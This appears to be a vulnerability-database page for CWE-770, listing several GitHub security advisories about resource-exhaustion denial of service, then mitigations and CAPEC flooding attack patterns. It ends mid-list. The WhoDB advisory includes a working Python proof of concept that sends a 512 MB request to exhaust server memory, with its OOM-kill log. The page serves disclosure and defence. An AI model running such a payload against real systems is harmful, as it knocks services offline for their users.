CWE-770
AllowedAllocation of Resources Without Limits or Throttling
Abstraction: Base · Status: Incomplete
The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.
3025 vulnerabilities reference this CWE, most recent first.
GHSA-5MQJ-XC49-246P
Vulnerability from github – Published: 2023-03-22 21:23 – Updated: 2023-03-22 21:49Our use of flate.NewReader does not limit the size of the input. The user could pass more than 1 MB of data in the HTTP request to the processing functions, which will be decompressed server-side using the Deflate algorithm. Therefore, after repeating the same request multiple times, it is possible to achieve a reliable crash since the operating system kills the process.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/crewjam/saml"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.4.13"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-28119"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2023-03-22T21:23:25Z",
"nvd_published_at": "2023-03-22T20:15:00Z",
"severity": "HIGH"
},
"details": "Our use of flate.NewReader does not limit the size of the input. The user could pass more than 1 MB of data in the HTTP request to the processing functions, which will be decompressed server-side using the Deflate algorithm. Therefore, after repeating the same request multiple times, it is possible to achieve a reliable crash since the operating system kills the process.\n",
"id": "GHSA-5mqj-xc49-246p",
"modified": "2023-03-22T21:49:43Z",
"published": "2023-03-22T21:23:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/crewjam/saml/security/advisories/GHSA-5mqj-xc49-246p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28119"
},
{
"type": "WEB",
"url": "https://github.com/crewjam/saml/commit/8e9236867d176ad6338c870a84e2039aef8a5021"
},
{
"type": "PACKAGE",
"url": "https://github.com/crewjam/saml"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "crewjam/saml vulnerable to Denial Of Service Via Deflate Decompression Bomb"
}
GHSA-5MW2-W8PC-M6P6
Vulnerability from github – Published: 2025-06-05 06:30 – Updated: 2025-10-15 18:31When loading a specifically crafted ICNS format image file in QImage then it will trigger a crash. This issue affects Qt from versions 6.3.0 through 6.5.9, from 6.6.0 through 6.8.4, 6.9.0. This is fixed in 6.5.10, 6.8.5 and 6.9.1.
{
"affected": [],
"aliases": [
"CVE-2025-5683"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-05T06:15:27Z",
"severity": "MODERATE"
},
"details": "When loading a specifically crafted ICNS format image file in QImage then it will trigger a crash.\u00a0This issue affects Qt from versions 6.3.0 through 6.5.9, from 6.6.0 through 6.8.4, 6.9.0. This is fixed in 6.5.10, 6.8.5 and 6.9.1.",
"id": "GHSA-5mw2-w8pc-m6p6",
"modified": "2025-10-15T18:31:48Z",
"published": "2025-06-05T06:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-5683"
},
{
"type": "WEB",
"url": "https://codereview.qt-project.org/c/qt/qtimageformats/+/644548"
},
{
"type": "WEB",
"url": "https://issues.oss-fuzz.com/issues/415350704"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5P65-6RWR-377W
Vulnerability from github – Published: 2025-10-09 12:30 – Updated: 2025-10-09 12:30GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.12 to 18.2.8, 18.3 to 18.3.4, and 18.4 to 18.4.2 that could make the GitLab instance unresponsive or severely degraded by sending crafted GraphQL queries requesting large repository blobs.
{
"affected": [],
"aliases": [
"CVE-2025-10004"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-09T12:15:34Z",
"severity": "HIGH"
},
"details": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 13.12 to 18.2.8, 18.3 to 18.3.4, and 18.4 to 18.4.2 that could make the GitLab instance unresponsive or severely degraded by sending crafted GraphQL queries requesting large repository blobs.",
"id": "GHSA-5p65-6rwr-377w",
"modified": "2025-10-09T12:30:19Z",
"published": "2025-10-09T12:30:19Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10004"
},
{
"type": "WEB",
"url": "https://hackerone.com/reports/3026555"
},
{
"type": "WEB",
"url": "https://about.gitlab.com/releases/2025/10/08/patch-release-gitlab-18-4-2-released"
},
{
"type": "WEB",
"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/568121"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5P85-P472-X7WV
Vulnerability from github – Published: 2024-10-07 21:33 – Updated: 2024-10-18 18:30Improper resource initialization handling in firmware of some Solidigm DC Products may allow an attacker to potentially enable denial of service.
{
"affected": [],
"aliases": [
"CVE-2024-47967"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-10-07T21:15:18Z",
"severity": "CRITICAL"
},
"details": "Improper resource initialization handling in firmware of some Solidigm DC Products may allow an attacker to potentially enable denial of service.",
"id": "GHSA-5p85-p472-x7wv",
"modified": "2024-10-18T18:30:36Z",
"published": "2024-10-07T21:33:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47967"
},
{
"type": "WEB",
"url": "https://https://www.solidigm.com/support-page/support-security.html"
},
{
"type": "WEB",
"url": "https://www.solidigm.com/support-page/support-security.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5PF6-CQ2V-23WW
Vulnerability from github – Published: 2024-12-19 15:22 – Updated: 2024-12-20 21:41Summary
A Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.
Affects all versions up to the latest one (v0.43.0).
Details
The vulnerability exists in the AuthMiddleware function in core/src/auth/auth.go. The middleware processes all API requests (/api/*) and reads the entire request body using io.ReadAll without any size limits:
func AuthMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {
// No size limit on body reading
body, err := io.ReadAll(r.Body)
// ...
// Creates another copy of the body
r.Body = io.NopCloser(bytes.NewReader(body))
// ...
// Unmarshals the body again, creating more copies
if err := json.Unmarshal(body, &query); err != nil {
return false
}
})
}
The issue is amplified by:
1. A generous 10-minute timeout (middleware.Timeout(10*time.Minute))
2. High throttle limits (10000 concurrent requests, 1000 backlog)
3. Multiple copies of the request body being created during processing
4. No per-client rate limiting
PoC
- Run the latest WhoDB:
docker run -it -p 127.0.0.1:8080:8080 clidey/whodb
- Prepare a PoC Python script:
import requests
import base64
import json
import time
# Create a sample token
credentials = {
"database": "test"
}
token = base64.b64encode(json.dumps(credentials).encode()).decode()
# Create a large query that will pass initial checks
# Using "Login" operation which is allowed
payload = {
"operationName": "Login",
"variables": {},
# Create a large string (512 MB)
"query": "A" * (512 * 1024 * 1024)
}
headers = {
"Content-Type": "application/json",
"Cookie": f"Token={token}" # or use Authorization header if IsAPIGatewayEnabled
}
url = "http://localhost:8080/api/query" # adjust as needed
print("Sending large payload...")
start = time.time()
try:
response = requests.post(url, json=payload, headers=headers)
print(f"Response status: {response.status_code}")
except Exception as e:
print(f"Request failed: {e}")
print(f"Time taken: {time.time() - start:.2f}s")
- Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process "core" is the entrypoint of the container.
[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0
[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0
Impact
- Severity: High
- Authentication Required: No (public API endpoint)
- Affected Components: All API endpoints (
/api/*) - Impact Type: Denial of Service
Any client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.
Fix considerations:
1. Implement request body size limits using http.MaxBytesReader
2. Reduce the request timeout from 10 minutes
3. Implement per-client rate limiting
4. Consider streaming body processing instead of loading entirely into memory
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c 0.0.0-20241219102844-e8b608d35422"
},
"package": {
"ecosystem": "Go",
"name": "github.com/clidey/whodb/core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": true,
"github_reviewed_at": "2024-12-19T15:22:43Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\nA Denial of Service (DoS) vulnerability in the authentication middleware allows any client to cause memory exhaustion by sending large request bodies. The server reads the entire request body into memory without size limits, creating multiple copies during processing, which can lead to Out of Memory conditions.\n\nAffects all versions up to the latest one (v0.43.0).\n\n### Details\n\n\nThe vulnerability exists in the AuthMiddleware function in `core/src/auth/auth.go`. The middleware processes all API requests (`/api/*`) and reads the entire request body using `io.ReadAll` without any size limits:\n\n```go\nfunc AuthMiddleware(next http.Handler) http.Handler {\n return http.HandlerFunc(func(w http.ResponseWriter, r http.Request) {\n // No size limit on body reading\n body, err := io.ReadAll(r.Body)\n\n // ...\n\n // Creates another copy of the body\n r.Body = io.NopCloser(bytes.NewReader(body))\n\n // ...\n\n // Unmarshals the body again, creating more copies\n if err := json.Unmarshal(body, \u0026query); err != nil {\n return false\n }\n })\n}\n```\n\nThe issue is amplified by:\n1. A generous 10-minute timeout (`middleware.Timeout(10*time.Minute)`)\n2. High throttle limits (10000 concurrent requests, 1000 backlog)\n3. Multiple copies of the request body being created during processing\n4. No per-client rate limiting\n\n### PoC\n\n1. Run the latest WhoDB:\n\n```\ndocker run -it -p 127.0.0.1:8080:8080 clidey/whodb\n```\n\n2. Prepare a PoC Python script:\n\n```python\nimport requests\nimport base64\nimport json\nimport time\n\n# Create a sample token\ncredentials = {\n \"database\": \"test\"\n}\ntoken = base64.b64encode(json.dumps(credentials).encode()).decode()\n\n# Create a large query that will pass initial checks\n# Using \"Login\" operation which is allowed\npayload = {\n \"operationName\": \"Login\",\n \"variables\": {},\n # Create a large string (512 MB)\n \"query\": \"A\" * (512 * 1024 * 1024)\n}\n\nheaders = {\n \"Content-Type\": \"application/json\",\n \"Cookie\": f\"Token={token}\" # or use Authorization header if IsAPIGatewayEnabled\n}\n\nurl = \"http://localhost:8080/api/query\" # adjust as needed\n\nprint(\"Sending large payload...\")\nstart = time.time()\ntry:\n response = requests.post(url, json=payload, headers=headers)\n print(f\"Response status: {response.status_code}\")\nexcept Exception as e:\n print(f\"Request failed: {e}\")\nprint(f\"Time taken: {time.time() - start:.2f}s\")\n```\n\n3. Run the script and observe memory usage of the WhoDB container. Run it a few times in parallel, or increase the payload size. I was able to hit the OOM killer on a 8 GB VM quickly. Process \"core\" is the entrypoint of the container.\n\n```\n[3970241.161574] oom-kill:constraint=CONSTRAINT_NONE,nodemask=(null),cpuset=docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,mems_allowed=0,global_oom,task_memcg=/system.slice/docker-92dede9aa7833cc0db5d7f780a46f57f0b7d627a15d9d0dd6233cd03544542ec.scope,task=core,pid=411856,uid=0\n[3970241.161611] Out of memory: Killed process 411856 (core) total-vm:8359408kB, anon-rss:5548564kB, file-rss:0kB, shmem-rss:0kB, UID:0 pgtables:11032kB oom_score_adj:0\n```\n\n### Impact\n\n- Severity: High\n- Authentication Required: No (public API endpoint)\n- Affected Components: All API endpoints (`/api/*`)\n- Impact Type: Denial of Service\n\nAny client can send arbitrarily large request bodies to the API endpoints. Due to the multiple copies created during processing and lack of size limits, this can quickly exhaust server memory, potentially affecting all users of the system. The high concurrent request limits and long timeout make this particularly effective for DoS attacks.\n\nFix considerations:\n1. Implement request body size limits using `http.MaxBytesReader`\n2. Reduce the request timeout from 10 minutes\n3. Implement per-client rate limiting\n4. Consider streaming body processing instead of loading entirely into memory\n",
"id": "GHSA-5pf6-cq2v-23ww",
"modified": "2024-12-20T21:41:36Z",
"published": "2024-12-19T15:22:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/security/advisories/GHSA-5pf6-cq2v-23ww"
},
{
"type": "WEB",
"url": "https://github.com/clidey/whodb/commit/e8b608d35422e1a2bfffe8ed26f0211ea80cb439"
},
{
"type": "PACKAGE",
"url": "https://github.com/clidey/whodb"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "WhoDB Allows Unbounded Memory Consumption in Authentication Middleware Can Lead to Denial of Service"
}
GHSA-5PFW-4VJF-FVC9
Vulnerability from github – Published: 2025-03-20 12:32 – Updated: 2025-03-20 12:32A vulnerability in binary-husky/gpt_academic version 3.83 allows an attacker to cause a Denial of Service (DoS) by adding excessive characters to the end of a multipart boundary during file upload. This results in the server continuously processing each character and displaying warnings, rendering the application inaccessible. The issue occurs when the terminal shows a warning: 'multipart.multipart Consuming a byte '0x2d' in end state'.
{
"affected": [],
"aliases": [
"CVE-2024-10714"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-03-20T10:15:18Z",
"severity": "HIGH"
},
"details": "A vulnerability in binary-husky/gpt_academic version 3.83 allows an attacker to cause a Denial of Service (DoS) by adding excessive characters to the end of a multipart boundary during file upload. This results in the server continuously processing each character and displaying warnings, rendering the application inaccessible. The issue occurs when the terminal shows a warning: \u0027multipart.multipart Consuming a byte \u00270x2d\u0027 in end state\u0027.",
"id": "GHSA-5pfw-4vjf-fvc9",
"modified": "2025-03-20T12:32:39Z",
"published": "2025-03-20T12:32:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10714"
},
{
"type": "WEB",
"url": "https://huntr.com/bounties/3e25b76c-714f-4948-8f5a-0ec9a6500068"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5PMJ-5F4J-WP6G
Vulnerability from github – Published: 2025-06-02 12:30 – Updated: 2025-06-02 12:30A Allocation of Resources Without Limits or Throttling vulnerability in sslh allows attackers to easily exhaust the file descriptors in sslh and deny legitimate users service.This issue affects sslh before 2.2.4.
{
"affected": [],
"aliases": [
"CVE-2025-46807"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-06-02T12:15:24Z",
"severity": "HIGH"
},
"details": "A Allocation of Resources Without Limits or Throttling vulnerability in sslh allows attackers to easily exhaust the file descriptors in sslh and deny legitimate users service.This issue affects sslh before 2.2.4.",
"id": "GHSA-5pmj-5f4j-wp6g",
"modified": "2025-06-02T12:30:34Z",
"published": "2025-06-02T12:30:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-46807"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=CVE-2025-46807"
},
{
"type": "WEB",
"url": "https://github.com/yrutschle/sslh/releases/tag/v2.2.4"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-5PR3-7H88-HJJQ
Vulnerability from github – Published: 2022-05-24 19:08 – Updated: 2022-05-24 19:08An issue has been found in function XRef::fetch in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a stack overflow .
{
"affected": [],
"aliases": [
"CVE-2020-19464"
],
"database_specific": {
"cwe_ids": [
"CWE-770",
"CWE-787"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-21T18:15:00Z",
"severity": "MODERATE"
},
"details": "An issue has been found in function XRef::fetch in PDF2JSON 0.70 that allows attackers to cause a Denial of Service due to a stack overflow .",
"id": "GHSA-5pr3-7h88-hjjq",
"modified": "2022-05-24T19:08:33Z",
"published": "2022-05-24T19:08:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-19464"
},
{
"type": "WEB",
"url": "https://github.com/flexpaper/pdf2json/issues/25"
},
{
"type": "WEB",
"url": "https://cwe.mitre.org/data/definitions/770.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5PR8-75GV-C9Q3
Vulnerability from github – Published: 2022-04-28 00:00 – Updated: 2022-05-06 00:01A lack of rate limiting in the 'forgot password' feature of Zammad v5.1.0 allows attackers to send an excessive amount of reset requests for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.
{
"affected": [],
"aliases": [
"CVE-2022-29701"
],
"database_specific": {
"cwe_ids": [
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-27T03:15:00Z",
"severity": "HIGH"
},
"details": "A lack of rate limiting in the \u0027forgot password\u0027 feature of Zammad v5.1.0 allows attackers to send an excessive amount of reset requests for a legitimate user, leading to a possible Denial of Service (DoS) via a large amount of generated e-mail messages.",
"id": "GHSA-5pr8-75gv-c9q3",
"modified": "2022-05-06T00:01:11Z",
"published": "2022-04-28T00:00:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-29701"
},
{
"type": "WEB",
"url": "https://zammad.com/en/advisories/zaa-2022-04"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-5Q6V-3768-8XQ7
Vulnerability from github – Published: 2024-01-09 18:30 – Updated: 2025-06-03 15:31In Splunk Enterprise Security (ES) versions below 7.1.2, an attacker can use investigation attachments to perform a denial of service (DoS) to the Investigation. The attachment endpoint does not properly limit the size of the request which lets an attacker cause the Investigation to become inaccessible.
{
"affected": [],
"aliases": [
"CVE-2024-22164"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-770"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-09T17:15:12Z",
"severity": "MODERATE"
},
"details": "In Splunk Enterprise Security (ES) versions below 7.1.2, an attacker can use investigation attachments to perform a denial of service (DoS) to the Investigation. The attachment endpoint does not properly limit the size of the request which lets an attacker cause the Investigation to become inaccessible.",
"id": "GHSA-5q6v-3768-8xq7",
"modified": "2025-06-03T15:31:07Z",
"published": "2024-01-09T18:30:27Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22164"
},
{
"type": "WEB",
"url": "https://advisory.splunk.com/advisories/SVD-2024-0101"
},
{
"type": "WEB",
"url": "https://research.splunk.com/application/bb85b25e-2d6b-4e39-bd27-50db42edcb8f"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
}
]
}
Mitigation
Clearly specify the minimum and maximum expectations for capabilities, and dictate which behaviors are acceptable when resource allocation reaches limits.
Mitigation
Limit the amount of resources that are accessible to unprivileged users. Set per-user limits for resources. Allow the system administrator to define these limits. Be careful to avoid CWE-410.
Mitigation
Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place, and it will help the administrator to identify who is committing the abuse. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
Mitigation MIT-15
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation
- Mitigation of resource exhaustion attacks requires that the target system either:
- The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
- The second solution can be difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply requires more resources on the part of the attacker.
- recognizes the attack and denies that user further access for a given amount of time, typically by using increasing time delays
- uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Ensure that protocols have specific limits of scale placed on them.
Mitigation MIT-38.1
- If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.
- Ensure that all failures in resource allocation place the system into a safe posture.
Mitigation MIT-47
Strategy: Resource Limitation
- Use quotas or other resource-limiting settings provided by the operating system or environment. For example, when managing system resources in POSIX, setrlimit() can be used to set limits for certain types of resources, and getrlimit() can determine how many resources are available. However, these functions are not available on all operating systems.
- When the current levels get close to the maximum that is defined for the application (see CWE-770), then limit the allocation of further resources to privileged users; alternately, begin releasing resources for less-privileged users. While this mitigation may protect the system from attack, it will not necessarily stop attackers from adversely impacting other users.
- Ensure that the application performs the appropriate error checks and error handling in case resources become unavailable (CWE-703).
CAPEC-125: Flooding
An adversary consumes the resources of a target by rapidly engaging in a large number of interactions with the target. This type of attack generally exposes a weakness in rate limiting or flow. When successful this attack prevents legitimate users from accessing the service and can cause the target to crash. This attack differs from resource depletion through leaks or allocations in that the latter attacks do not rely on the volume of requests made to the target but instead focus on manipulation of the target's operations. The key factor in a flooding attack is the number of requests the adversary can make in a given period of time. The greater this number, the more likely an attack is to succeed against a given target.
CAPEC-130: Excessive Allocation
An adversary causes the target to allocate excessive resources to servicing the attackers' request, thereby reducing the resources available for legitimate services and degrading or denying services. Usually, this attack focuses on memory allocation, but any finite resource on the target could be the attacked, including bandwidth, processing cycles, or other resources. This attack does not attempt to force this allocation through a large number of requests (that would be Resource Depletion through Flooding) but instead uses one or a small number of requests that are carefully formatted to force the target to allocate excessive resources to service this request(s). Often this attack takes advantage of a bug in the target to cause the target to allocate resources vastly beyond what would be needed for a normal request.
CAPEC-147: XML Ping of the Death
An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.
CAPEC-197: Exponential Data Expansion
An adversary submits data to a target application which contains nested exponential data expansion to produce excessively large output. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. However, this capability can be abused to create excessive demands on a processor's CPU and memory. A small number of nested expansions can result in an exponential growth in demands on memory.
CAPEC-229: Serialized Data Parameter Blowup
This attack exploits certain serialized data parsers (e.g., XML, YAML, etc.) which manage data in an inefficient manner. The attacker crafts an serialized data file with multiple configuration parameters in the same dataset. In a vulnerable parser, this results in a denial of service condition where CPU resources are exhausted because of the parsing algorithm. The weakness being exploited is tied to parser implementation and not language specific.
CAPEC-230: Serialized Data with Nested Payloads
Applications often need to transform data in and out of a data format (e.g., XML and YAML) by using a parser. It may be possible for an adversary to inject data that may have an adverse effect on the parser when it is being processed. Many data format languages allow the definition of macro-like structures that can be used to simplify the creation of complex structures. By nesting these structures, causing the data to be repeatedly substituted, an adversary can cause the parser to consume more resources while processing, causing excessive memory consumption and CPU utilization.
CAPEC-231: Oversized Serialized Data Payloads
An adversary injects oversized serialized data payloads into a parser during data processing to produce adverse effects upon the parser such as exhausting system resources and arbitrary code execution.
CAPEC-469: HTTP DoS
An attacker performs flooding at the HTTP level to bring down only a particular web application rather than anything listening on a TCP/IP connection. This denial of service attack requires substantially fewer packets to be sent which makes DoS harder to detect. This is an equivalent of SYN flood in HTTP. The idea is to keep the HTTP session alive indefinitely and then repeat that hundreds of times. This attack targets resource depletion weaknesses in web server software. The web server will wait to attacker's responses on the initiated HTTP sessions while the connection threads are being exhausted.
CAPEC-482: TCP Flood
An adversary may execute a flooding attack using the TCP protocol with the intent to deny legitimate users access to a service. These attacks exploit the weakness within the TCP protocol where there is some state information for the connection the server needs to maintain. This often involves the use of TCP SYN messages.
CAPEC-486: UDP Flood
An adversary may execute a flooding attack using the UDP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. Additionally, firewalls often open a port for each UDP connection destined for a service with an open UDP port, meaning the firewalls in essence save the connection state thus the high packet nature of a UDP flood can also overwhelm resources allocated to the firewall. UDP attacks can also target services like DNS or VoIP which utilize these protocols. Additionally, due to the session-less nature of the UDP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-487: ICMP Flood
An adversary may execute a flooding attack using the ICMP protocol with the intent to deny legitimate users access to a service by consuming the available network bandwidth. A typical attack involves a victim server receiving ICMP packets at a high rate from a wide range of source addresses. Additionally, due to the session-less nature of the ICMP protocol, the source of a packet is easily spoofed making it difficult to find the source of the attack.
CAPEC-488: HTTP Flood
An adversary may execute a flooding attack using the HTTP protocol with the intent to deny legitimate users access to a service by consuming resources at the application layer such as web services and their infrastructure. These attacks use legitimate session-based HTTP GET requests designed to consume large amounts of a server's resources. Since these are legitimate sessions this attack is very difficult to detect.
CAPEC-489: SSL Flood
An adversary may execute a flooding attack using the SSL protocol with the intent to deny legitimate users access to a service by consuming all the available resources on the server side. These attacks take advantage of the asymmetric relationship between the processing power used by the client and the processing power used by the server to create a secure connection. In this manner the attacker can make a large number of HTTPS requests on a low provisioned machine to tie up a disproportionately large number of resources on the server. The clients then continue to keep renegotiating the SSL connection. When multiplied by a large number of attacking machines, this attack can result in a crash or loss of service to legitimate users.
CAPEC-490: Amplification
An adversary may execute an amplification where the size of a response is far greater than that of the request that generates it. The goal of this attack is to use a relatively few resources to create a large amount of traffic against a target server. To execute this attack, an adversary send a request to a 3rd party service, spoofing the source address to be that of the target server. The larger response that is generated by the 3rd party service is then sent to the target server. By sending a large number of initial requests, the adversary can generate a tremendous amount of traffic directed at the target. The greater the discrepancy in size between the initial request and the final payload delivered to the target increased the effectiveness of this attack.
CAPEC-491: Quadratic Data Expansion
